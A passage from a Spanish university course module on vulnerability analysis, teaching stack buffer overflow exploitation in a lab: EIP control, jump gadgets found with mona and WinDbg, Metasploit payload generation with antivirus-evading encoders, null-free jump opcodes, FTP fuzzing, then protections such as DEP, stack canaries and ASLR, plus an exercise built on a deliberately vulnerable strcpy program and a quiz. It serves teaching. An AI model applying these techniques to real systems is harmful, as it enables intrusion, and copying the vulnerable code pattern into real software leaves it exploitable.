por lo que usaremos las del sistema que tambin funcionarn.

Vamos a comprobar que el salto funciona y para ello usaremos la instruccin break
\xcc que detiene el flujo de la ejecucin. Modificaremos nuestro script:

Figura 57. Exploit con un break.

Y al ejecutar el archivo obtendremos que lo hemos conseguido detener.

Figura 58. Conseguimos detener la ejecucin con el break.

Ahora que ya tenemos la direccin de EIP, la direccin de salto y la posicin donde


colocar el payload, tendremos que generar este.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


55
Anlisis de Vulnerabilidades

Para esta segunda prueba de concepto usaremos un payload diferente, no ejecutaremos


una shell remota sino una calculadora en la mquina vctima. Da igual el tipo de
payload que usemos, ya que una vez seamos capaces de ejecutar uno podremos
ejecutar cualquiera (siempre que sean para el mismo SO). Para generar este payload
usaremos de nuevo Metasploit

Figura 59. Generamos el payload con Metasploit.

Seleccionaremos el payload con el comando use y le daremos las opciones requeridas.


Para generar el payload usaremos el comando generate. Las opciones ms tpicas de
este comando son 3:
-b byte/s -> Para quitar uno o ms bytes que no queramos en nuestro payload.
-e codificador -> Para el elegir el codificador para saltarnos antivirus.
-t lenguaje -> Para que nos d el payload adaptado a un tipo de lenguaje de
programacin.

Para ver el resto de opciones de generate usaremos generate h.

En este caso, para la calculadora usamos el payload windows/exec y ponemos en el


atributo de cmd, calc, y lo generaremos sin bytes nulos. Finalmente crearemos el script
final introducindole el payload generado.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


56
Anlisis de Vulnerabilidades

Figura 60. Script final PoC 2.

Y al ejecutarlo, (ya no es necesario usar el depurador) obtendremos la calculadora.

Figura 61. Obtenemos la calculadora.

La calculadora ser un proceso independiente de la aplicacin vulnerable y podremos


cerrar la aplicacin sin que la calculadora lo haga.

Tipos de saltos

Hemos conseguido crear un exploit en un entorno real, pero ha sido bastante ideal:
haba espacio en la pila para nuestro payload, pudimos utilizar ESP para encontrar el
payload generado, encontramos la instruccin de salto que queramos en las libreras
de la aplicacin para hacer nuestro exploit ms portable Normalmente no se tiene

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


57
Anlisis de Vulnerabilidades

una situacin ideal as que tendremos que utilizar diversas formas para ejecutar
nuestros payloads.

Jmp/Call [Reg]. Se puede llamar o saltar a un registro que contenga la direccin


de memoria que alberga nuestro payload, por ejemplo en la PoC 2 usbamos el jmp
esp.
o Buscamos jmp/call [Reg] dentro de las DLL de la aplicacin.
o Se sobrescribe EIP con la direccin de jmp/call de la DLL.
o El registro al que apuntamos debe contener los primeros bytes de nuestro
payload o un sled de NOPs.

En el caso de la PoC 2:

Buscamos la instruccin call esp con mona y encontramos una direccin en una
DLL de la aplicacin: 0x01c53f0f.

Figura 62. Archivo txt con la bsqueda de call esp.

Modificamos nuestro exploit cambiando la direccin de eip por la nueva.

Figura 63. Cambiamos EIP.

Al ejecutar obtendremos de nuevo nuestra calculadora, pues en esp se encontrarn


los NOPs que deslizarn hasta nuestro payload.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


58
Anlisis de Vulnerabilidades

Pop Ret. En el caso anterior dependamos de un registro que apuntara a nuestra


shell. Pero a veces no hay ningn registro que contenga la direccin de memoria que
buscamos, por ejemplo porque estn desplazados unos cuantos bytes por la
ejecucin normal del programa.
o Si la direccin que buscamos est en la pila podemos sobrescribir EIP con una
direccin de una DLL que haga POP para descartar tantos valores como sea
necesario y RET para cargar el ltimo valor de la pila en EIP.
o Otro caso podra ser cuando sabemos que el cdigo se encuentra a un cierto
desplazamiento de ESP. Por ejemplo ESP+8. En este caso si ponemos un jmp esp
en esa posicin y realizamos dos POP y finalmente un RET a EIP, ejecutaremos
nuestro payload.

Para buscar este tipo de instrucciones usaremos los comandos segn el nmero de
posiciones que queramos:
o !mona find -type instr -s pop # ret.
o !mona find -type instr -s pop # pop # ret.

Podramos simular un caso de este tipo con:

Figura 64. Simulamos la situacin descrita debajo.

Normalmente tenemos lo siguiente:

[aaaaaaa][0x01DEB22A][cccc][NOPNOPNOPNOP][Payload]

Basura EIP con Offset ESP con A continuacin de los


direccin antes de el sled NOPs est el payload
de jmp esp esp de
NOPs

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


59
Anlisis de Vulnerabilidades

Al simularlo obtendramos:

[aaaaaaa][0x0x01AB6A10][cccc][ddddeeee][0x01DEB22A][NOPNOPNOPNOP][Payload]

EIP con ESP con 8 Tras saltar los 8 Cuando hagamos


direccin de bytes que bytes haremos el ret, ESP se
pop pop ret saltaremos ret a la direccin colocar al inicio
con los 2 pop de jmp esp del sled de NOPs

Push Ret. Si la direccin de nuestro payload se encuentra en uno de los registros


pero no encontramos una instruccin Jmp/Call [Reg] especfica en alguno de los
DLL, podemos utilizar la siguiente alternativa:
o Push [Reg]: metemos la direccin del registro en cuestin en la pila.
o RET: sacar la direccin que acabamos de meter en la cima de la pila, metindola
en EIP y realizar el salto.

Para que funcione hemos de buscar la secuencia Push [Reg] + Ret en alguna DLL. Si
por ejemplo, el payload estuviera apuntado directamente por ESP pero no
encontrramos jmp esp ni call esp.
o Usando mona, buscaremos las dos instrucciones consecutivas en las DLL con
!mona find -type instr -s push esp # ret -n.
o Tambin podramos buscar los opcodes de cada instruccin y realizar la bsqueda
sobre ellas. En este caso !mona find -s "\x54\xc3" -n.

Jmp [Reg] + Offset. Si un registro contiene la direccin de memoria que apunta


unos lugares antes (offset positivo) o despus (offset negativo) a la posicin de
memoria que contiene nuestro payload. Si tuviramos el caso de que ESP apuntara
a 8 posiciones antes que el comienzo de una shellcode buscaramos la instruccin
jmp [esp + 8] en las DLL.

Blind Return. Esta tcnica se usa cuando no podemos utilizar EIP para apuntar
directamente a un registro (porque no se puedan utilizar instrucciones JMP o CALL
y no quede ms remedio que escribir la direccin en la pila) y tenemos control sobre
ESP (al menos los 4 siguientes bytes).

Consiste en:
o Sobrescribir EIP con la direccin a una instruccin RET de una DLL.
o Colocar la direccin del payload en los 4 bytes posteriores a ESP.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


60
Anlisis de Vulnerabilidades

o Al ejecutar el RET se hace un POP implcito a los ltimos 4 bytes de la pila, que
ser la direccin que hemos introducido.
o Se saltar a nuestro payload.

El buffer tendr la siguiente forma:

[Basura de as][EIP con direccin de RET][Direccin de payload][Payload]

Buffers pequeos

En los escenarios anteriores tras desbordar el buffer y sobrescribir EIP, no tenamos


lmites de espacio para introducir nuestro payload, pero qu ocurrira si solo
tuviramos 54 bytes de espacio tras EIP?

Podramos utilizar todo el espacio que hemos usado para desbordar el buffer (las letras
a basura que introdujimos) para albergar nuestro payload. Para que esta tcnica
funcione necesitamos encontrar las direcciones de memoria que albergan estos bytes y
una manera de referenciarlos.

Primero vamos a crear el exploit de prueba que simule una situacin de buffer
pequeo:

Figura 65. Simulamos un buffer pequeo.

Lo ejecutaremos y haremos un dump de ESP.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


61
Anlisis de Vulnerabilidades

Figura 66. Volcado de ESP.

Encontramos que ESP es 0x000ffd38 y que hay 4 bytes de desplazamiento entre EIP y
ESP, por lo que solo tenemos 50 bytes de buffer en realidad. Pero, adems,
encontramos que cuando acaban los NOPs est el carcter 0x00 (fin de cadena)
porque es el final de la cadena que hemos copiado y a partir de ah hay un montn de
letras a.

Estas letras son parte del buffer inicial que hemos introducido antes de EIP, as que si
somos capaces de realizar un salto a esta parte podremos ejecutar un payload en ella.

Nuestro objetivo ser guardar el payload en las posiciones de memoria donde haya as
y utilizar el buffer pequeo de las x para saltar a este.

Primero tendremos que encontrar la posicin exacta de las as encontradas en la basura


introducida. Podemos hacerlo con ensayo y error, creando un patrn propio o como en
nuestro caso, usando el patrn de Metasploit (pattern_create y pattern_offset).

Figura 67. Ponemos el patrn para buscar la zona de las as.

Para empezar creamos un patrn de 1000 caracteres y lo insertamos antes que la


cadena de as (reducimos esta cadena en 1000 letras para mantener los 26.067 bytes) y
realizamos de nuevo un dump de ESP.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


62
Anlisis de Vulnerabilidades

Figura 68. Volcado de ESP.

Podemos ver el parte del patrn, en concreto 5Ai6 (0x35416936, 0x36694135 en


Little-endian).

Figura 69. Obtenemos el offset, 257.

Ahora sabemos que las primeras 257 as sern basura pero a partir de ah, tendremos
espacio para introducir un payload.

El siguiente paso ser aadir en la zona de las x, los 50 bytes que tenemos disponibles
en ESP, el cdigo que nos permita hacer Jmp [ESP + 257]. Dividiremos el problema en
dos partes:
ADD ESP, 119h (281 en hexadecimal, ya que hemos aadido NOPs y nos da igual el
offset mientras sea mayor igual que 257).
JMP ESP (ESP ser ESP + 281, por lo que saltar a nuestro payload).

Nos encontramos un problema, el opcode de add esp, 119h contiene bytes nulos,
pues es \x81\xc4\x19\x01\x00\x00 y no nos sirve. Vamos a tener que encontrar otra
forma para dividir el nmero en varias sumas parciales. Adems en esta ocasin,
probaremos con WinDbg, ya que su base de smbolos es mayor que la de mona (mona
para la suma nos dar siempre opcodes con bytes nulos).

Para buscar instrucciones con este depurador:


Le daremos a attach to a process y seleccionaremos la aplicacin.
a (assemble), instruccin a buscar, u (unassemble).
Ser necesario pulsar q y volver al paso 1 para poder hacer otra bsqueda.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


63
Anlisis de Vulnerabilidades

Figuras 70 y 71: Usamos WinDbg.

Probaremos con sumas parciales, 94 + 94 + 94 = 282 que tambin nos servir. 94 en


hexadecimal ser 0x5e. Obteniendo \x83\xc4\x5e de opcode.

Figura 72: Obtenemos el opcode.

Y ya tendremos nuestro cdigo sin bytes nulos:

\x83\xc4\x5e //ADD ESP, 0x5e


\x83\xc4\x5e //ADD ESP, 0x5e
**\x83\xc4\x5** //ADD ESP, 0x5e
\xff\xe4 //JMP ESP

Finalmente crearemos nuestro exploit definitivo dndole a EIP la direccin de un JMP


ESP de un DLL, como la que hemos usado en la PoC 2 y le aadiremos un sled de NOPs
y el payload de la calculadora.

Nota: al realizar el exploit ha sido necesario quitar los ltimos NOPs (marcados con **)
pues sobrepasaban el espacio total disponible en la pila y no permita la ejecucin
correcta del payload. Adems al reducirse este nmero de NOPs, la posicin a la que
saltar de ESP disminuye por lo que deberemos quitar la lnea marcada con asteriscos
del cdigo de salto. Solo saltaramos (188 posiciones).

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


64
Anlisis de Vulnerabilidades

El cdigo final quedara as:

Figura 73. Cdigo final buffer pequeo.

Y al ejecutarlo:

Figura 74. Obtenemos la calculadora.

Es aconsejable que si se desea seguir las PoC o los ejemplos, todos los archivos se
copien en el Escritorio o en alguna carpeta de la mquina donde se ejecuten y no se
haga directamente desde la carpeta compartida por las mquinas virtuales ya que
puede generar fallos.

Otras formas de saltar

Popad (Pop all double). Hace POP a dobles palabras de la pila y las guarda en los
registros de propsito general en la misma instruccin.
o Un solo popad sacar 32 bytes de la pila.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


65
Anlisis de Vulnerabilidades

o Se cargarn en los registros en el siguiente orden: EDI, ESI, EBP, ESP, EBX,
EDX, ECX y EAX. (En ESP no se cargan datos sino que son descartados).
o El cdigo de operacin es \x61 (Las as que hemos usado como basura).
o Es muy til para tamaos de buffer muy pequeos. Si tenemos que saltar 260
bytes con un espacio de salto de 14 bytes, podremos usar 9 POPAD y un JMP ESP
ocupando solo 11 bytes.

Saltos near y condicionales. Podemos realizar un salto de rango corto o un salto


condicional, es decir, saltar unos pocos bytes desde la posicin de EIP (en el caso del
condicional se debe cumplir una condicin tambin).
o El opcode de JMP NEAR es 0xEB as que para saltar 30 bytes sera: 0xeb, 0x1e.
o Para saltar 6 bytes con la condicin de que el flag de cero est activado, JZ
(0x74), ser 0x74, 0x06.

Fuzzers

Como apartado final se quiere hablar de un tipo de fuzzer especial usado para testear
aplicaciones en busca de desbordamientos de buffer. Este tipo de fuzzer se dedicar por
nosotros a la tarea de enviar grandes cantidades de caracteres a las entradas de ciertos
servicios de protocolos conocidos, como HTTP o FTP. Usaremos Metasploit para
encontrar estos fuzzers, en el mdulo auxiliary > fuzzers.

Uno de ellos, desarrollado por Corelan Team (los autores del plugin mona), se usa para
realizar este tipo de testeo de buffer overflow en servidores FTP. Introduce tantos
caracteres como le indiquemos siguiendo patrones para cada una de las opciones del
protocolo (nombre de usuario, contrasea, ningn comando, comando STOR)
avisndonos si se ha lanzado alguna excepcin a causa de desbordar el buffer por la
introduccin de texto.

Vamos a realizar una pequea prueba de concepto con un servidor FTP vulnerable
llamado WarFTP en una mquina XP y nuestra mquina Kali.

Primero encenderemos el servidor FTP, lo pondremos online (smbolo del rayo) y lo


enlazaremos al depurador.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


66
Anlisis de Vulnerabilidades

Figura 75. Arrancamos el depurador y el FTP.

Despus desde la mquina Kali seleccionaremos el fuzzer en Metasploit:

Figura 76. Seleccionamos el fuzzer.

El nico parmetro necesario ser el de Rhost con la direccin de la mquina vctima,


pero en nuestro caso pondremos endsize (tamao mximo de la entrada de texto) en
1000, startsize en 300 y stepsize en 50.

Figura 77. Establecemos los parmetros del fuzzer.

Pondremos exploit y el fuzzer ir enviando texto a la aplicacin. Como tenemos puesto


el depurador, cuando encuentre algn error este parar la aplicacin y el fuzzer no
seguir funcionando. En un entorno normal, sin el depurador, cuando la aplicacin
deje de funcionar, el fuzzer lo notificar y acabar.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


67
Anlisis de Vulnerabilidades

Figura 78. Fuzzer funcionando.

Ser siempre conveniente comprobar fase por fase las entradas del fuzzer una vez
descubramos que hay un fallo en aplicacin del servidor.

Figura 79. El fuzzer ha provocado un desbordamiento.

Habr disponible en el aula virtual el vdeo con la prueba de concepto ms detallada y


paso a paso.

2.6. Mecanismos de proteccin

A continuacin se explicarn diferentes mecanismos y tcnicas para prevenir y proteger


los sistemas frente a este tipo de vulnerabilidades.

Realizar una programacin segura. Esta es la forma ms efectiva y segura de


todas, que los mismos diseadores y programadores inviertan tiempo en la
seguridad de las aplicaciones y tengan conciencia de la gravedad de las
vulnerabilidades:
o Se debe controlar la entrada de datos al usuario para no desbordar buffers ni
variables.
o Invertir tiempo en realizar test de pruebas para detectar posibles fallos.
o Tener un control exhaustivo de errores y excepciones.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


68
Anlisis de Vulnerabilidades

o Evitar el uso de funciones deprecated e inseguras de C, como: strcpy(),


strcat(), sprintf(), scanf(), sscanf(), fscanf(), vfscanf(), vsprintf,
vscanf(), vsscanf(), streadd(), strecpy(), strtrns(). Usar libreras con
funciones seguras como Libsafe.
o Otorgar los mnimos privilegios necesarios en una aplicacin, por si todas las
medidas de seguridad fallan, que el dao sea el mnimo.

DEP (Data Execution Prevention). Es un mecanismo que se puede implementar por


software o por hardware que evita la ejecucin de cdigo desde las pginas de
datos. Normalmente el cdigo se ejecuta desde pginas de read only (zona de cdigo
de la memoria) no desde el heap ni la pila.

o DEP por hardware consiste en un bit que se coloca en las pginas de memoria de
un proceso en el que se indica si esta puede ejecutar o no cdigo. Este bit se llama
NX (no execute) en arquitectura Intel y XD (execute disable) en AMD. Esta
solucin es en tiempo de ejecucin y no requiere volver a recompilar las
aplicaciones para que funcione.
o DEP forzado por software no posee este bit mencionado, sino que consiste en
evitar que se sobrescriban los manejadores de excepciones SEH. Puede ayudar a
evitar que se ejecute cdigo malintencionado. A diferencia del anterior har falta
compilar especficamente para implementar esta medida, tambin llamada
/SafeSEH.
o Otra forma de solucin, basada en libreras es detectar cualquier intento de
ejecucin de cdigo ilegtimo en la pila, ejemplo de esto es la solucin
SecureStack desarrollada por SecureWave.
o Aunque haya formas de saltarse DEP, tanto software como hardware, supone
dificultar la tarea de generar vulnerabilidades y aumenta la complejidad de los
exploits.

Stack/Canary Cookies. Es una medida complementaria a DEP, consiste en aadir


un valor a la pila para comprobar que dicho valor no es sobrescrito al realizar un
buffer overflow. La idea es modificar la forma en la que el compilador genera el
cdigo, por lo que ser una medida que debe ser implementada en tiempo de
compilacin y no en ejecucin, haciendo que se genere un valor aleatorio justo
despus de EBP solo cuando se usen buffers, no con variables que no sean
susceptibles al desbordamiento de buffer.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


69
Anlisis de Vulnerabilidades

Figura 80. Funcionamiento de la Stack Cookie.


Fuente: www.incibe.es

o El valor aleatorio generado se guardar en la parte de datos de un proceso y ser


comprobado cada vez que se realice una instruccin de salto o ret.
o Al igual que DEP, hay formas de evitarla y saltarla, pero supone aumentar la
dificultad de generar exploits. Tambin se la conoce como /GS.

ASLR (Address Space Layout Randomization). Es una medida dirigida a dificultar


an ms ejecucin de cdigo malicioso. Consiste en generar direcciones de memoria
aleatorias para un proceso (la pila, el heap, las DLL) para que no se pueda saltar a
direcciones absolutas.

o Un ejemplo se puede ver en Linux, creando un programa que nos devuelve la


direccin absoluta de la pila.

#include <stdio.h>

unsigned long get_sp(void)


{
__asm__("movl %esp,%eax");
}
void main()
{
printf("0x%x\n",get_sp());

Activar ASLR:
echo 2 > /proc/sys/kernel/randomize_va_space

Desactivar ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


70
Anlisis de Vulnerabilidades

Este pequeo programa devolver el valor de ESP cada vez que se ejecute, pudiendo ver
en cada ejecucin como cambia su valor segn tengamos o no activado ASLR.

Figura 81. Obtenemos los valores de la posicin de la pila.

o De nuevo esta medida se podr saltar, ya sea usando grandes sleds de NOPs,
esperando que el salto caiga en ellos o accediendo a libreras que sean estticas.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


71
Anlisis de Vulnerabilidades

Lo + recomendado

Lecciones magistrales

Meterpreter, Msfpayload, Msfconsole, Msfvenom

En esta leccin magistral se van a comentar brevemente las caractersticas de


Meterpreter adems de los mdulos ms importantes.

La clase magistral est disponible en el aula virtual.

No dejes de leer

Hacking. Tcnicas fundamentales

Erickson, J. (2009). Hacking. Tcnicas fundamentales. Madrid: Ediciones Anaya


Multimedia.

Traduccin del libro Hacking the art of explotation de Jon


Erickson. Es un de los mejores libros que existen entrando en
detalle en las diferentes vulnerabilidades que existen en las
aplicaciones de un sistema operativo.

TEMA 2 Lo + recomendado Universidad Internacional de La Rioja, S. A. (UNIR)


72
Anlisis de Vulnerabilidades

Hacking prctico

VV. AA. (2004). Hacking prctico. Madrid: Ediciones Anaya Multimedia.

Interesante libro que explica las principales vulnerabilidades


que tienen los sistemas operativos y los errores tpicos que
tienen los programadores a la hora de realizar software.

Writing shellcode for Linux and *BSD

En este enlace se muestra informacin sobre shellcode y la ejecucin de binarios en


Linux.

El artculo completo est disponible en el aula virtual o en la siguiente direccin web:


http://www.kernel-panic.it/security/shellcode/index.html

Practical Linux shellcode

En el siguiente documento se muestran ejemplos prcticos sobre hacking bajo la


plataforma Linux.

El artculo completo est disponible en el aula virtual o en la siguiente direccin web:


http://big-daddy.fr/repository/Documentation/Application%20Security/linux_shellcodes.pdf

TEMA 2 Lo + recomendado Universidad Internacional de La Rioja, S. A. (UNIR)


73
Anlisis de Vulnerabilidades

+ Informacin

A fondo

Manual de compilacin y depuracin en Linux

Este documento describe las herramientas de depuracin y programacin de GNU.

El artculo est disponible en el aula virtual o en la siguiente direccin web:


http://gcc.gnu.org/onlinedocs/gcc.pdf

Gua de Metasploitable

Esta gua est destinada a profesionales IT y de la seguridad que usan Metasploit


Framework o las ediciones comerciales de Metasploit como herramientas en test de
penetracin.

El artculo est disponible en el aula virtual o en la siguiente direccin web:


http://es.scribd.com/doc/104115068/GUIA-EN-CASTELLANO-METASPLOITABLE

Webgrafa

Tutoriales de corelan

Pgina web que contiene los mejores tutoriales acerca de exploit para Windows.

https://www.corelan.be/index.php/articles/

TEMA 1 + Informacin Universidad Internacional de La Rioja, S. A. (UNIR)


74
Anlisis de Vulnerabilidades

Exploit-db

Pgina web donde podemos encontrar informacin sobre los ltimos exploits
descubiertos.

http://www.exploit-db.com/shellcode/

Bibliografa

Gonzlez, P. (2013). Metasploit para Pentesters. 2 Edicin. 0xWORD.

Puente, D. (2013). Linux Exploiting. Tcnicas de explotacin de vulnerabilidades en


Linux para la creacin de expoits. oxWORD.

VV. AA. (2006). Extreme exploits (hackers y seguridad). Madrid: Ediciones Anaya
Multimedia.

VV. AA. (2005). Blindaje de redes: tu red invulnerable a los hackers. Madrid:
Ediciones Anaya Multimedia.

TEMA 1 + Informacin Universidad Internacional de La Rioja, S. A. (UNIR)


75
Anlisis de Vulnerabilidades

Actividades

Trabajo: Realizar ataque de desbordamiento de buffer

En la siguiente actividad debers crear dos exploits para el programa reto.c. El primero
deber conseguir acceder a la funcin premio() alterando el flujo del programa y el
segundo deber obtener una shell local en la propia mquina. Se deber realizar en la
mquina Kali desactivando ASLR y compilando con las opciones vistas para permitir
ejecucin de cdigo en la pila

root@kali:~# cat reto.c


#include <stdio.h>
#include <string.h>
void premio()
{
printf("He alterado el flujo del programa\n");
}
int main(int argc, char *argv[])
{
char buffer[100];
if (argc != 2)
{
printf("Uso: %s argumento\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}

Describe los pasos que has seguido para conseguirlo.

Extensin mxima: 15 pginas (Georgia 11 e interlineado 1,5).

TEMA 2 Actividades Universidad Internacional de La Rioja, S. A. (UNIR)


76
Anlisis de Vulnerabilidades

Test

1. Indica cul de las siguientes afirmaciones sobre Meterpreter es correcta:


A. No crea ningn proceso nuevo ya que se carga directamente en memoria RAM.
B. Lo podemos manejar desde Metasploit.
C. Es un intrprete de comandos que nos permite crear una backdoor.
D. Todas las anteriores son correctas.

2. Indica cul de las siguientes afirmaciones sobre los comandos de Metasploit es


correcta:
A. Si ejecutamos show payloads nos mostrar todos los mdulos para codificar
nuestros exploits.
B. El comando info nos muestra la informacin sobre la mquina vctima.
C. El comando set definir las opciones requeridas por cada mdulo.
D. Si ejecutamos show payloads nos mostrar todos los mdulos para codificar
nuestros payloads.

3. Un exploit se puede definir como:


A. Un hardware encargado de interrumpir a otro programa durante su ejecucin
para conseguir cierto tipo de privilegios.
B. Un sistema operativo encargado de interrumpir a otro programa durante su
ejecucin para conseguir cierto tipo de privilegios.
C. Un programa encargado de interrumpir a otro programa durante su ejecucin
para conseguir cierto tipo de privilegios.
D. Ninguna de las anteriores.

4. Sobre las vulnerabilidades de Heap Overflow indica qu afirmacin es incorrecta:


A. Un tipo de desbordamiento del heap es el double-free.
B. Se utiliza la tcnica de Heap Spraying para explotarla.
C. Ocurre cuando se introduce demasiado texto en una variable local.
D. Suele darse en lenguajes como C o C++.

TEMA 2 Test Universidad Internacional de La Rioja, S. A. (UNIR)


77
Anlisis de Vulnerabilidades

5. La instruccin mov eax, 0x4 es:


A. Una instruccin con formato AT&T que establece el valor decimal 4 en el
registro EAX.
B. Una instruccin con formato de Intel que establece el valor de EAX en la
direccin de memoria 0x4.
C. Una instruccin con formato de Intel que establece el valor decimal 4 en el
registro EAX.
D. Una instruccin con formato de AT&T que establece el valor de EAX en la
direccin de memoria 0x4.

6. Sobre los diferentes mecanismos de proteccin, indique cual no es correcto:


A. DEP consiste en no permitir la ejecucin de cdigo desde pginas de datos.
B. Las Canary Cookies son un mecanismo de proteccin para la ejecucin de
cdigo en la pila.
C. ASLR nos ayuda a comprobar que en nuestro cdigo no existan funciones
propensas a ser vulnerables.
D. Hay mecanismo que crea direcciones para el heap y la pila aleatorias.

7. Indica que afirmacin es correcta respecto los segmentos de memoria de un proceso:


A. El heap y la pila crecen desde las direcciones ms altas hacia las ms bajas.
B. La zona de cdigo es de lectura y escritura.
C. La zona de la pila es de lectura y escritura.
D. La zona de datos no inicializados se encuentra al final del segmento de
memoria.

8. Qu se hace cuando llamamos a un subproceso y queremos crear variables locales?:


A. Mover el valor de EBP a ESP.
B. Mover el valor de EIP a ESP.
C. Mover el valor de ESP a EBP.
D. Mover el valor de EIP a EBP.

9. Cmo explotamos una vulnerabilidad de desbordamiento de buffer?:


A. Intentando saltar sobre la posicin que guarda la siguiente instruccin.
B. Llenamos gran parte del buffer con basura.
C. Podemos utilizar un sled de NOPs.
D. Todas las anteriores son correctas.

TEMA 2 Test Universidad Internacional de La Rioja, S. A. (UNIR)


78
Anlisis de Vulnerabilidades

10. Cul es el registro que apunta a la siguiente instruccin?:


A. ESP.
B. IBP.
C. EIP.
D. EBP.

TEMA 2 Test Universidad Internacional de La Rioja, S. A. (UNIR)


79